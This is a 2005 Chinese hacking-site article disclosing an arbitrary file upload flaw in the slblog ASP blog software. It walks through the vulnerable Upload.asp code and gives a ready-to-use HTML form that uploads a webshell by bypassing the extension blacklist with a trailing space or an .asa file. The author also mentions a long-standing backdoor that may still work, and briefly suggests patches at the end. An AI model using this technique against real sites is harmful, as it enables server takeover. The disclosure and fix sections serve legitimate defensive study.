通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 原创精华 >> 文章正文
原创:slblog(思玲blog)程序漏洞
责任编辑:古典辣M°   更新日期:2005-12-24
 

作者:jackal www.3800hk.com
转载请注明作者和出处
程序简介:
slblog(思玲blog), 某权威站点统计的第三大blog用户程序。
这个多用户Blog,刚发展起来的,更新很快,感觉像是oblog和missblog的结合体,
同时首创了Blog系统无限级分类和用户栏目的无限级分类,多功能在现编辑器。
但界面不是很美观,好在模板和程序分离,方便修改。
不过这个blog 程序中存在致命的漏洞,所有的版本包括官方站点都有此漏洞
有点年头了.忽然想起来,就发布了吧.官方补上了漏洞-_-!
用的人也挺多的,不过以前留了个后门.很久了.好象还能用.
授人以渔,其实还是上传的漏洞.请耐心看完,开始:
刚拿到的时候还想看有没注入点,3M多,我懒,看了一下过滤(Slblog/Include/Slbcode.asp)
--------------code---------------------
’60 过滤字符串中的危险字符
function ReplaceBadChar(strChar)
 if strChar="" then
  ReplaceBadChar=""
 else
  ReplaceBadChar=replace(replace(replace(replace(replace(replace(replace(strChar,"’",""),"*",""),"?",""),"(",""),")",""),"〈",""),".","")
 end if
end function
----------------------------------------
够让人郁闷的.去掉了’ * ? ( ) 〈和.不想找是不是有人家没过滤的代码。
去看别的,从后台开始,一般人写后台比较宽松,因为我就是。汗~,觉得自己的密码足够强大,别人也进不来,还是因为我懒。
发文章那里有个很不错的在线编辑器,目的很明确,先找上传,漏洞也就出现了。嘿嘿。SLBlog\SLeditor\Upload.asp


我们来看一下.晕!只有一个"浏览"的按钮.看下提交到哪里?
-------------------(1.jpg)-------------------------
〈form action="?act=save&sType=&TBlogID=0&sClass=" method="post" name="sform" enctype="multipart/form-data"〉
-------------------------------------------------
缺3个函数,sType,可能是文件的类型,TBlogID为id,sClass可能为分类类别,我也不大清楚.想验证的话,自己抓个包.去看Upload.asp代码,看怎么过滤的.
〈!--#include FILE="inc/upfileClass.asp"--〉
无惧上传类,往后看:
---------------------------------------------
sClass = Trim(Request.Querystring("sClass"))
sType = Trim(Request.Querystring("sType"))
TBlogID= Trim(Request.Querystring("TBlogID"))
----------------------------------------------
这里接受3个变量.再往后看.
sNoAllowExt = "asp|htm|html|shtml|dhtml|aspx|js|as|vbs|exe"
嘿嘿,有问题后,心情有点激动,再下面
----------------------------------------------
if (Trim(Request.QueryString("act"))) = "save" then
 sBlogPath = TBlogID & "|" & DatePart("yyyy",now()) & "|" & DatePart("m",now())
 Call actSave()
 else
 Call actList()
end if
----------------------------------------------
act为save时,保存.去看看还有没验证的.
----------------------------------------------
Sub actSave()
 Set upfile = new upFileClass ’’建立上传对象
  upfile.NoAllowExt=sNoAllowExt ’设置上传类型的黑名单
  upfile.GetData (sNoAllowSize*1024) ’取得上传数据,限制最大上传10M
----------------------------------------------
后面是保存文件的路径和名称,不看了.我的马能传上去就得了.



总结一下:要提交4个变量,/Upload.asp?act=save&TBlogID=1&sType=image&sClass=1
TBlogID生成文件的时候用,sType为文件类型,用过一次.别处好象没用.
---------------------------------------
〈%
Select Case sType
 Case "flash"
  sAllowExt = "swf"
end Select %〉
---------------------------------------
TBlogID生成的文件夹的时候用,空的时候默认为0.
---------------------------------------
If TBlogID = "" Or Not Isnumeric(TBlogID) Then
 TBlogID=0
end if
---------------------------------------
sClass没找到调用,不管拉.这么一看,好象3个变量都没什么用了.
上传的问题:
只是不能传asp,我们可以传asa,或者简单点直接在asp后加空格.
没了.真没了.有我也不看了!构造上传.
-----------------------------------------
〈form action="http://test.com/Blog/sleditor/Upload.asp?act=save&TBlogID=1&sType=image&sClass=1" method="post" name="form1" enctype="multipart/form-data"〉
〈input name="FileName" type="FILE" class="tx1" size="30"〉
〈input type="submit" name="Submit" value="上传"〉
〈/form〉
-----------------------------------------
改下路径,上传asp+空格,成功.看下源文件.
------------------(2.jpg)---------------------
〈script language="javascript"〉parent.UploadSaved(’1/2005/11/2005112420545773499.asp ’);history.back()〈/script〉〈script language="javascript"〉parent.imgIsUse(’2005112420545773499.asp ’);history.back()〈/script〉
-------------------------------------------
文件保存在UploadFile下.路径是这样的:
blog/UploadFile/1/2005/11/2005112420545773499.asp
补洞吧.简单点.就是UploadFile文件夹不允许执行asp.
安全点的是打上补丁.过滤掉空格和"."有了就跳到死.
给个例子,只要文件和后缀的.个数不同就错误.
-------------------------------------------
FileName = Lcase(FileName)
If Instr(FileName,".") 〈〉 InstrRev(FileName,".") Then
  msg="文件名中含有多个“.”!\n\n请修改文件名后再上传--BY JACKAL" 
  FoundErr=true
-------------------------------------------
bye~~

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章REAL蛀虫利用播放器漏洞下载恶意程序
    普通文章李彦宏:中国要在互联网领域逐渐超越美国
    普通文章马云:阿里巴巴的成功是一个生态链的成功
    普通文章Ingres用户认证非授权访问漏洞
    普通文章TCPreen FD_SET()函数远程栈溢出漏洞
    普通文章Winace UUE文件解压堆溢出漏洞
    普通文章Pclxav木马猎手第一代特征码引擎源代码
    普通文章IE收藏夹管理小精灵算法分析
    普通文章Extra Drive Pro算法分析历程
    普通文章雨过天晴自我注册
    精彩专题